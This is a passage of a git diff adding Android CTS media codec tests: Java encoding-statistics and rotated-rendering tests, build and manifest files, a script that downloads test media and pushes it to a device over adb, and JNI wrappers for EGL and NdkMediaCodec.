+                if (TestArgs.shouldSkipMediaType(type)) {
+                    continue;
+                }
+
+                testParams.add(new Object[] { name, type, Integer.valueOf(90) });
+                testParams.add(new Object[] { name, type, Integer.valueOf(180) });
+                testParams.add(new Object[] { name, type, Integer.valueOf(270) });
+                testParams.add(new Object[] { name, type, Integer.valueOf(360) });
+            }
+        }
+        return testParams;
+    }
+
+    @Test
+    public void testRendering800x480Rotated() throws Throwable {
+        if (mImpl.isConcurrentEncodingDecodingSupported(
+                mMimeType, 800, 480, mImpl.BITRATE_800x480, mDecoderName)) {
+            mImpl.runTestRenderingInSeparateThread(
+                    InstrumentationRegistry.getInstrumentation().getContext(),
+                    mMimeType, 800, 480, false, false, mDegrees, mDecoderName);
+        } else {
+            Log.i(TAG, "SKIPPING testRendering800x480Rotated" + mDegrees + ":codec (" +
+                    mDecoderName + ":" + mMimeType + ") not supported");
+        }
+    }
+}
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/VideoEncodingStatisticsTest.java b/tests/tests/media/codec/src/android/media/codec/cts/VideoEncodingStatisticsTest.java
new file mode 100644
index 0000000..b57521c
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/VideoEncodingStatisticsTest.java
@@ -0,0 +1,208 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaCodecInfo.CodecCapabilities;
+import android.media.MediaCodecList;
+import android.media.MediaFormat;
+import android.media.cts.MediaCodecWrapper;
+import android.media.cts.MediaHeavyPresubmitTest;
+import android.media.cts.TestArgs;
+import android.platform.test.annotations.AppModeFull;
+import android.util.Log;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.MediaUtils;
+
+import org.junit.Assume;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
+
+import java.io.File;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+
+import static org.junit.Assert.assertEquals;
+
+/**
+ * Verification test for video encoding statistics.
+ *
+ * Check whether a higher bitrate gives a lower average QP reported from encoder
+ *
+ */
+@MediaHeavyPresubmitTest
+@AppModeFull(reason = "TODO: evaluate and port to instant")
+@RunWith(Parameterized.class)
+public class VideoEncodingStatisticsTest extends VideoCodecTestBase {
+
+    private static final String ENCODED_IVF_BASE = "football";
+    private static final String INPUT_YUV = null;
+    private static final String OUTPUT_YUV = SDCARD_DIR + File.separator +
+            ENCODED_IVF_BASE + "_out.yuv";
+
+    // YUV stream properties.
+    private static final int WIDTH = 320;
+    private static final int HEIGHT = 240;
+    private static final int FPS = 30;
+    // Default encoding bitrate.
+    private static final int BITRATE = 400000;
+    // List of bitrates used in quality and basic bitrate tests.
+    private static final int[] TEST_BITRATES_SET = { 300000, 500000, 700000, 900000 };
+
+    @Parameterized.Parameter(0)
+    public String mCodecName;
+
+    @Parameterized.Parameter(1)
+    public String mCodecMimeType;
+
+    @Parameterized.Parameter(2)
+    public int mBitRateMode;
+
+    static private List<Object[]> prepareParamList(List<Object[]> exhaustiveArgsList) {
+        final List<Object[]> argsList = new ArrayList<>();
+        int argLength = exhaustiveArgsList.get(0).length;
+        for (Object[] arg : exhaustiveArgsList) {
+            String mediaType = (String)arg[0];
+            if (TestArgs.shouldSkipMediaType(mediaType)) {
+                continue;
+            }
+            String[] encodersForMime = MediaUtils.getEncoderNamesForMime(mediaType);
+            for (String encoder : encodersForMime) {
+                if (TestArgs.shouldSkipCodec(encoder)) {
+                    continue;
+                }
+                Object[] testArgs = new Object[argLength + 1];
+                testArgs[0] = encoder;
+                System.arraycopy(arg, 0, testArgs, 1, argLength);
+                argsList.add(testArgs);
+            }
+        }
+        return argsList;
+    }
+
+    @Parameterized.Parameters(name = "{index}({0}:{1}:{2})")
+    public static Collection<Object[]> input() {
+        final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{
+                {AVC_MIME, VIDEO_ControlRateConstant},
+                {AVC_MIME, VIDEO_ControlRateVariable},
+                {HEVC_MIME, VIDEO_ControlRateConstant},
+                {HEVC_MIME, VIDEO_ControlRateVariable},
+        });
+        return prepareParamList(exhaustiveArgsList);
+    }
+
+    private static CodecCapabilities getCodecCapabilities(
+            String encoderName, String mime, boolean isEncoder) {
+        MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
+        for (MediaCodecInfo codecInfo : mcl.getCodecInfos()) {
+            if (isEncoder != codecInfo.isEncoder()) {
+                continue;
+            }
+            if (encoderName.equals(codecInfo.getName())) {
+                return codecInfo.getCapabilitiesForType(mime);
+            }
+        }
+        return null;
+    }
+
+    /**
+     * Check whethera a higher bitrate gives a lower average QP
+     *
+     * Video streams with higher bitrate should have lower average qp.
+     */
+    private void testEncStatRateAvgQp(String codecName, String codecMimeType, int bitRateMode)
+            throws Exception {
+        int encodeSeconds = 9;      // Encoding sequence duration in seconds for each bitrate.
+        float[] avgSeqQp = new float[TEST_BITRATES_SET.length];
+        boolean[] completed = new boolean[TEST_BITRATES_SET.length];
+        boolean skipped = true;
+        ArrayList<MediaCodec.BufferInfo> bufInfos;
+
+        CodecCapabilities caps = getCodecCapabilities(codecName, codecMimeType, true);
+        Assume.assumeTrue(codecName + " does not support FEATURE_EncodingStatistics",
+           caps.isFeatureSupported(CodecCapabilities.FEATURE_EncodingStatistics));
+
+        for (int i = 0; i < TEST_BITRATES_SET.length; i++) {
+            EncoderOutputStreamParameters params = getDefaultEncodingParameters(
+                    INPUT_YUV,
+                    ENCODED_IVF_BASE,
+                    codecName,
+                    codecMimeType,
+                    encodeSeconds,
+                    WIDTH,
+                    HEIGHT,
+                    FPS,
+                    bitRateMode,
+                    TEST_BITRATES_SET[i],
+                    false);
+            // Enable encoding statistics at VIDEO_ENCODING_STATISTICS_LEVEL_1
+            params.encodingStatisticsLevel = MediaFormat.VIDEO_ENCODING_STATISTICS_LEVEL_1;
+            ArrayList<ByteBuffer> codecConfigs = new ArrayList<>();
+            VideoEncodeOutput videoEncodeOutput = encodeAsync(params, codecConfigs);
+            bufInfos = videoEncodeOutput.bufferInfo;
+            if (bufInfos == null) {
+                // parameters not supported, try other bitrates
+                completed[i] = false;
+                continue;
+            }
+            completed[i] = true;
+            skipped = false;
+            if (videoEncodeOutput.encStat.encodedFrames > 0) {
+                avgSeqQp[i] = (float) videoEncodeOutput.encStat.averageSeqQp
+                                      / videoEncodeOutput.encStat.encodedFrames;
+            }
+        }
+
+        if (skipped) {
+            Log.i(TAG, "SKIPPING testEncodingStatisticsAvgQp(): no bitrates supported");
+            return;
+        }
+
+        // First do a validity check - higher bitrates should results in lower QP.
+        for (int i = 1; i < TEST_BITRATES_SET.length; i++) {
+            if (!completed[i]) {
+                continue;
+            }
+            for (int j = 0; j < i; j++) {
+                if (!completed[j]) {
+                    continue;
+                }
+                double differenceBitrate = TEST_BITRATES_SET[i] - TEST_BITRATES_SET[j];
+                double differenceAvgQp = avgSeqQp[i] - avgSeqQp[j];
+                if (differenceBitrate * differenceAvgQp >= 0) {
+                    throw new RuntimeException("Target bitrates: " +
+                            TEST_BITRATES_SET[j] + ", " + TEST_BITRATES_SET[i] +
+                            ". Average QP: "
+                            + avgSeqQp[j] + ", " + avgSeqQp[i]);
+                }
+            }
+        }
+    }
+
+    @Test
+    public void testEncodingStatisticsAvgQp() throws Exception {
+       testEncStatRateAvgQp(mCodecName, mCodecMimeType, mBitRateMode);
+   }
+}
+
diff --git a/tests/tests/media/codec/src/android/media/codec/cts/WorkDir.java b/tests/tests/media/codec/src/android/media/codec/cts/WorkDir.java
new file mode 100644
index 0000000..10921c8
--- /dev/null
+++ b/tests/tests/media/codec/src/android/media/codec/cts/WorkDir.java
@@ -0,0 +1,25 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.codec.cts;
+
+import android.media.cts.WorkDirBase;
+
+class WorkDir extends WorkDirBase {
+    public static final String getMediaDirString() {
+        return getMediaDirString("CtsMediaCodecTestCases-1.0");
+    }
+}
diff --git a/tests/tests/media/common/Android.bp b/tests/tests/media/common/Android.bp
new file mode 100644
index 0000000..be689bc
--- /dev/null
+++ b/tests/tests/media/common/Android.bp
@@ -0,0 +1,121 @@
+// Copyright (C) 2022 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: [
+        "Android-Apache-2.0",
+        "cts_tests_tests_media_common_license",
+    ],
+}
+
+// See: http://go/android-license-faq
+license {
+    name: "cts_tests_tests_media_common_license",
+    visibility: [":__subpackages__"],
+    license_kinds: [
+        "legacy_unencumbered",
+    ],
+}
+
+java_library {
+    name: "ctsmediautil",
+    srcs: [
+        "src/android/media/cts/CodecImage.java",
+        "src/android/media/cts/YUVImage.java",
+        "src/android/media/cts/CodecUtils.java",
+        "src/android/media/cts/CodecState.java",
+        "src/android/media/cts/MediaCodecTunneledPlayer.java",
+        "src/android/media/cts/MediaTimeProvider.java",
+        "src/android/media/cts/NonBlockingAudioTrack.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+        "platform-test-annotations",
+    ],
+    platform_apis: true,
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
+
+cc_test_library {
+    name: "libctscodecutils_jni",
+    srcs: [
+        "jni/codec-utils-jni.cpp",
+        "jni/md5_utils.cpp",
+    ],
+    shared_libs: [
+        "libnativehelper_compat_libc++",
+        "liblog",
+    ],
+    header_libs: ["liblog_headers"],
+    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk.
+    sdk_version: "29",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    stl: "libc++_static",
+    gtest: false,
+}
+
+cc_test_library {
+    name: "libctsmediacommon_jni",
+    srcs: [
+        "jni/NdkInputSurface-jni.cpp",
+        "jni/NdkMediaCodec-jni.cpp",
+    ],
+    shared_libs: [
+        "libandroid",
+        "libnativehelper_compat_libc++",
+        "liblog",
+        "libmediandk",
+        "libEGL",
+    ],
+    header_libs: ["liblog_headers"],
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+        "-DEGL_EGLEXT_PROTOTYPES",
+    ],
+    gtest: false,
+    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk.
+    sdk_version: "29",
+}
+
+android_library {
+    name: "cts-media-common",
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "androidx.heifwriter_heifwriter",
+        "androidx.test.core",
+        "androidx.test.ext.junit",
+        "compatibility-device-util-axt",
+        "junit",
+        "platform-test-annotations",
+    ],
+    platform_apis: true,
+    libs: [
+        "org.apache.http.legacy",
+        "android.test.base",
+        "android.test.runner",
+    ],
+    min_sdk_version: "29",
+    target_sdk_version: "31",
+}
diff --git a/tests/tests/media/common/AndroidManifest.xml b/tests/tests/media/common/AndroidManifest.xml
new file mode 100644
index 0000000..651a22d
--- /dev/null
+++ b/tests/tests/media/common/AndroidManifest.xml
@@ -0,0 +1,62 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+     package="android.media.cts"
+     android:targetSandboxVersion="2">
+
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="31"/>
+
+    <application android:networkSecurityConfig="@xml/network_security_config"
+        android:largeHeap="true">
+        <uses-library android:name="android.test.runner"/>
+
+        <activity android:name="android.media.cts.MediaProjectionActivity"
+            android:label="MediaProjectionActivity"
+            android:screenOrientation="locked"/>
+        <activity android:name="android.media.cts.AudioManagerStub"
+            android:label="AudioManagerStub"/>
+        <activity android:name="android.media.cts.AudioManagerStubHelper"
+            android:label="AudioManagerStubHelper"/>
+
+        <activity android:name="android.media.cts.MediaStubActivity"
+            android:label="MediaStubActivity"
+            android:screenOrientation="nosensor"
+            android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+        <activity android:name="android.media.cts.MediaStubActivity2"
+            android:label="MediaStubActivity2"
+            android:screenOrientation="nosensor"
+            android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+        <service android:name="android.media.cts.LocalMediaProjectionService"
+            android:foregroundServiceType="mediaProjection"
+            android:enabled="true">
+        </service>
+     </application>
+</manifest>
diff --git a/tests/tests/media/common/OWNERS b/tests/tests/media/common/OWNERS
new file mode 100644
index 0000000..72f56cf
--- /dev/null
+++ b/tests/tests/media/common/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 1344
+include platform/frameworks/av:/media/OWNERS
+etalvala@google.com
+jsharkey@android.com
diff --git a/tests/tests/media/common/copy_media_utils.sh b/tests/tests/media/common/copy_media_utils.sh
new file mode 100755
index 0000000..e5a7c57
--- /dev/null
+++ b/tests/tests/media/common/copy_media_utils.sh
@@ -0,0 +1,49 @@
+#!/bin/bash
+# Copyright (C) 2022 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+## script to install media test files manually
+
+function get_adb_options() {
+  usage="Usage: $0 [-h] [-s serial]"
+  if [ $# -gt 0 ]; then
+    if [ "$1" = "-h" ]; then
+      echo $usage
+      exit 1
+    elif [ "$1" = "-s" -a "$2" != "" ] ; then
+      adbOptions=""$1" "$2""
+    else
+      echo "bad options"
+      echo $usage
+      exit 1
+    fi
+  fi
+}
+
+function copy_media() {
+  subFolder=$1
+  resLabel=$2
+  srcDir="/tmp/$resLabel"
+  tgtDir="/sdcard/test"
+
+  ## download resources if not already done
+  if [ ! -f "/tmp/$resLabel.zip" ]; then
+    wget "https://storage.googleapis.com/android_media/cts/tests/tests/media/$subFolder/$resLabel.zip" -O /tmp/$resLabel.zip
+  fi
+  unzip -qo "/tmp/$resLabel" -d $srcDir
+  ## install on target device
+  echo "adb $adbOptions push $srcDir $tgtDir"
+  adb $adbOptions shell mkdir -p $tgtDir
+  adb $adbOptions push $srcDir/. $tgtDir
+}
\ No newline at end of file
diff --git a/tests/tests/media/common/jni/NdkInputSurface-jni.cpp b/tests/tests/media/common/jni/NdkInputSurface-jni.cpp
new file mode 100644
index 0000000..bb4009b
--- /dev/null
+++ b/tests/tests/media/common/jni/NdkInputSurface-jni.cpp
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define LOG_TAG "NdkInputSurfaceJni"
+#include <EGL/egl.h>
+#include <EGL/eglext.h>
+
+#include <android/native_window_jni.h>
+#include <assert.h>
+#include <jni.h>
+#include <log/log.h>
+#include <stdio.h>
+#include <string.h>
+#include <unistd.h>
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_eglGetDisplay(JNIEnv * /*env*/, jclass /*clazz*/) {
+
+    EGLDisplay eglDisplay = eglGetDisplay(EGL_DEFAULT_DISPLAY);
+    if (eglDisplay == EGL_NO_DISPLAY) {
+        return 0;
+    }
+
+    EGLint major, minor;
+    if (!eglInitialize(eglDisplay, &major, &minor)) {
+        return 0;
+    }
+
+    return reinterpret_cast<jlong>(eglDisplay);
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_eglChooseConfig(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay) {
+
+    // Configure EGL for recordable and OpenGL ES 2.0.  We want enough RGB bits
+    // to minimize artifacts from possible YUV conversion.
+    EGLint attribList[] = {
+            EGL_RED_SIZE, 8,
+            EGL_GREEN_SIZE, 8,
+            EGL_BLUE_SIZE, 8,
+            EGL_RENDERABLE_TYPE, EGL_OPENGL_ES2_BIT,
+            EGL_RECORDABLE_ANDROID, 1,
+            EGL_NONE
+    };
+
+    EGLConfig configs[1];
+    EGLint numConfigs[1];
+    if (!eglChooseConfig(reinterpret_cast<EGLDisplay>(eglDisplay), attribList, configs, 1, numConfigs)) {
+        return 0;
+    }
+    return reinterpret_cast<jlong>(configs[0]);
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_eglCreateContext(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglConfig) {
+
+    // Configure context for OpenGL ES 2.0.
+    int attrib_list[] = {
+            EGL_CONTEXT_CLIENT_VERSION, 2,
+            EGL_NONE
+    };
+
+    EGLConfig eglContext = eglCreateContext(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLConfig>(eglConfig),
+            EGL_NO_CONTEXT,
+            attrib_list);
+
+    if (eglGetError() != EGL_SUCCESS) {
+        return 0;
+    }
+
+    return reinterpret_cast<jlong>(eglContext);
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkInputSurface_createEGLSurface(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglConfig, jlong nativeWindow) {
+
+    int surfaceAttribs[] = {EGL_NONE};
+    EGLSurface eglSurface = eglCreateWindowSurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLConfig>(eglConfig),
+            reinterpret_cast<EGLNativeWindowType>(nativeWindow),
+            surfaceAttribs);
+
+    if (eglGetError() != EGL_SUCCESS) {
+        return 0;
+    }
+
+    return reinterpret_cast<jlong>(eglSurface);
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglMakeCurrent(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong eglContext) {
+
+    return eglMakeCurrent(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            reinterpret_cast<EGLContext>(eglContext));
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglSwapBuffers(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    return eglSwapBuffers(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface));
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglPresentationTimeANDROID(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong nsecs) {
+
+    return eglPresentationTimeANDROID(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            reinterpret_cast<EGLnsecsANDROID>(nsecs));
+
+}
+
+extern "C" jint Java_android_media_cts_NdkInputSurface_eglGetWidth(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    EGLint width;
+    eglQuerySurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            EGL_WIDTH,
+            &width);
+
+    return width;
+
+}
+
+extern "C" jint Java_android_media_cts_NdkInputSurface_eglGetHeight(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    EGLint height;
+    eglQuerySurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface),
+            EGL_HEIGHT,
+            &height);
+
+    return height;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkInputSurface_eglDestroySurface(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface) {
+
+    return eglDestroySurface(
+            reinterpret_cast<EGLDisplay>(eglDisplay),
+            reinterpret_cast<EGLSurface>(eglSurface));
+
+}
+
+extern "C" void Java_android_media_cts_NdkInputSurface_nativeRelease(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong eglDisplay, jlong eglSurface, jlong eglContext, jlong nativeWindow) {
+
+    if (eglDisplay != 0) {
+
+        EGLDisplay _eglDisplay = reinterpret_cast<EGLDisplay>(eglDisplay);
+        EGLSurface _eglSurface = reinterpret_cast<EGLSurface>(eglSurface);
+        EGLContext _eglContext = reinterpret_cast<EGLContext>(eglContext);
+
+        eglDestroySurface(_eglDisplay, _eglSurface);
+        eglDestroyContext(_eglDisplay, _eglContext);
+        eglReleaseThread();
+        eglTerminate(_eglDisplay);
+
+    }
+
+    ANativeWindow_release(reinterpret_cast<ANativeWindow *>(nativeWindow));
+
+}
\ No newline at end of file
diff --git a/tests/tests/media/common/jni/NdkMediaCodec-jni.cpp b/tests/tests/media/common/jni/NdkMediaCodec-jni.cpp
new file mode 100644
index 0000000..441e0f3
--- /dev/null
+++ b/tests/tests/media/common/jni/NdkMediaCodec-jni.cpp
@@ -0,0 +1,348 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+/* Original code copied from NDK Native-media sample code */
+
+//#define LOG_NDEBUG 0
+#define LOG_TAG "NdkMediaCodec-jni"
+#include <log/log.h>
+
+#include <android/native_window_jni.h>
+#include <assert.h>
+#include <jni.h>
+#include <string.h>
+#include <unistd.h>
+
+
+#include "media/NdkMediaExtractor.h"
+#include "media/NdkMediaCodec.h"
+#include "media/NdkMediaCrypto.h"
+#include "media/NdkMediaDataSource.h"
+#include "media/NdkMediaFormat.h"
+#include "media/NdkMediaMuxer.h"
+
+extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreateCodecByName(
+        JNIEnv *env, jclass /*clazz*/, jstring name) {
+
+    if (name == NULL) {
+        return 0;
+    }
+
+    const char *tmp = env->GetStringUTFChars(name, NULL);
+    if (tmp == NULL) {
+        return 0;
+    }
+
+    AMediaCodec *codec = AMediaCodec_createCodecByName(tmp);
+    if (codec == NULL) {
+        env->ReleaseStringUTFChars(name, tmp);
+        return 0;
+    }
+
+    env->ReleaseStringUTFChars(name, tmp);
+    return reinterpret_cast<jlong>(codec);
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecDelete(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
+    media_status_t err = AMediaCodec_delete(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecStart(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
+    media_status_t err = AMediaCodec_start(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecStop(
+        JNIEnv * /*env*/, jclass /*clazz*/, jlong codec) {
+    media_status_t err = AMediaCodec_stop(reinterpret_cast<AMediaCodec *>(codec));
+    return err == AMEDIA_OK;
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecConfigure(
+        JNIEnv *env,
+        jclass /*clazz*/,
+        jlong codec,
+        jstring mime,
+        jint width,
+        jint height,
+        jint colorFormat,
+        jint bitRate,
+        jint frameRate,
+        jint iFrameInterval,
+        jobject csd0,
+        jobject csd1,
+        jint flags,
+        jint lowLatency,
+        jobject surface,
+        jint range,
+        jint standard,
+        jint transfer) {
+
+    AMediaFormat* format = AMediaFormat_new();
+    if (format == NULL) {
+        return false;
+    }
+
+    const char *tmp = env->GetStringUTFChars(mime, NULL);
+    if (tmp == NULL) {
+        AMediaFormat_delete(format);
+        return false;
+    }
+
+    AMediaFormat_setString(format, AMEDIAFORMAT_KEY_MIME, tmp);
+    env->ReleaseStringUTFChars(mime, tmp);
+
+    const char *keys[] = {
+            AMEDIAFORMAT_KEY_WIDTH,
+            AMEDIAFORMAT_KEY_HEIGHT,
+            AMEDIAFORMAT_KEY_COLOR_FORMAT,
+            AMEDIAFORMAT_KEY_BIT_RATE,
+            AMEDIAFORMAT_KEY_FRAME_RATE,
+            AMEDIAFORMAT_KEY_I_FRAME_INTERVAL,
+            // need to specify the actual string, since this test needs
+            // to run on API 29, where the symbol doesn't exist
+            "low-latency", // AMEDIAFORMAT_KEY_LOW_LATENCY
+            AMEDIAFORMAT_KEY_COLOR_RANGE,
+            AMEDIAFORMAT_KEY_COLOR_STANDARD,
+            AMEDIAFORMAT_KEY_COLOR_TRANSFER,
+    };
+
+    jint values[] = {width, height, colorFormat, bitRate, frameRate, iFrameInterval, lowLatency,
+                     range, standard, transfer};
+    for (size_t i = 0; i < sizeof(values) / sizeof(values[0]); i++) {
+        if (values[i] >= 0) {
+            AMediaFormat_setInt32(format, keys[i], values[i]);
+        }
+    }
+
+    if (csd0 != NULL) {
+        void *csd0Ptr = env->GetDirectBufferAddress(csd0);
+        jlong csd0Size = env->GetDirectBufferCapacity(csd0);
+        AMediaFormat_setBuffer(format, "csd-0", csd0Ptr, csd0Size);
+    }
+
+    if (csd1 != NULL) {
+        void *csd1Ptr = env->GetDirectBufferAddress(csd1);
+        jlong csd1Size = env->GetDirectBufferCapacity(csd1);
+        AMediaFormat_setBuffer(format, "csd-1", csd1Ptr, csd1Size);
+    }
+
+    media_status_t err = AMediaCodec_configure(
+            reinterpret_cast<AMediaCodec *>(codec),
+            format,
+            surface == NULL ? NULL : ANativeWindow_fromSurface(env, surface),
+            NULL,
+            flags);
+
+    AMediaFormat_delete(format);
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetInputSurface(
+        JNIEnv* env, jclass /*clazz*/, jlong codec, jobject surface) {
+
+    media_status_t err = AMediaCodec_setInputSurface(
+            reinterpret_cast<AMediaCodec *>(codec),
+            ANativeWindow_fromSurface(env, surface));
+
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jboolean Java_android_media_cts_NdkMediaCodec_AMediaCodecSetNativeInputSurface(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec, jlong nativeWindow) {
+
+    media_status_t err = AMediaCodec_setInputSurface(
+            reinterpret_cast<AMediaCodec *>(codec),
+            reinterpret_cast<ANativeWindow *>(nativeWindow));
+
+    return err == AMEDIA_OK;
+
+}
+
+extern "C" jlong Java_android_media_cts_NdkMediaCodec_AMediaCodecCreateInputSurface(
+        JNIEnv* /*env*/, jclass /*clazz*/, jlong codec) {
+
+    ANativeWindow *nativeWindow;
+    media_status_t err = AMediaCodec_createInputSurface(
+            reinterpret_cast<AMediaCodec *>(codec),
+            &nativeWindow);
+
+     if (err == AMEDIA_OK) {
+         return reinterpret_cast<jlong>(nativeWindow);
+     }
+
+     return 0;
+
+}
+
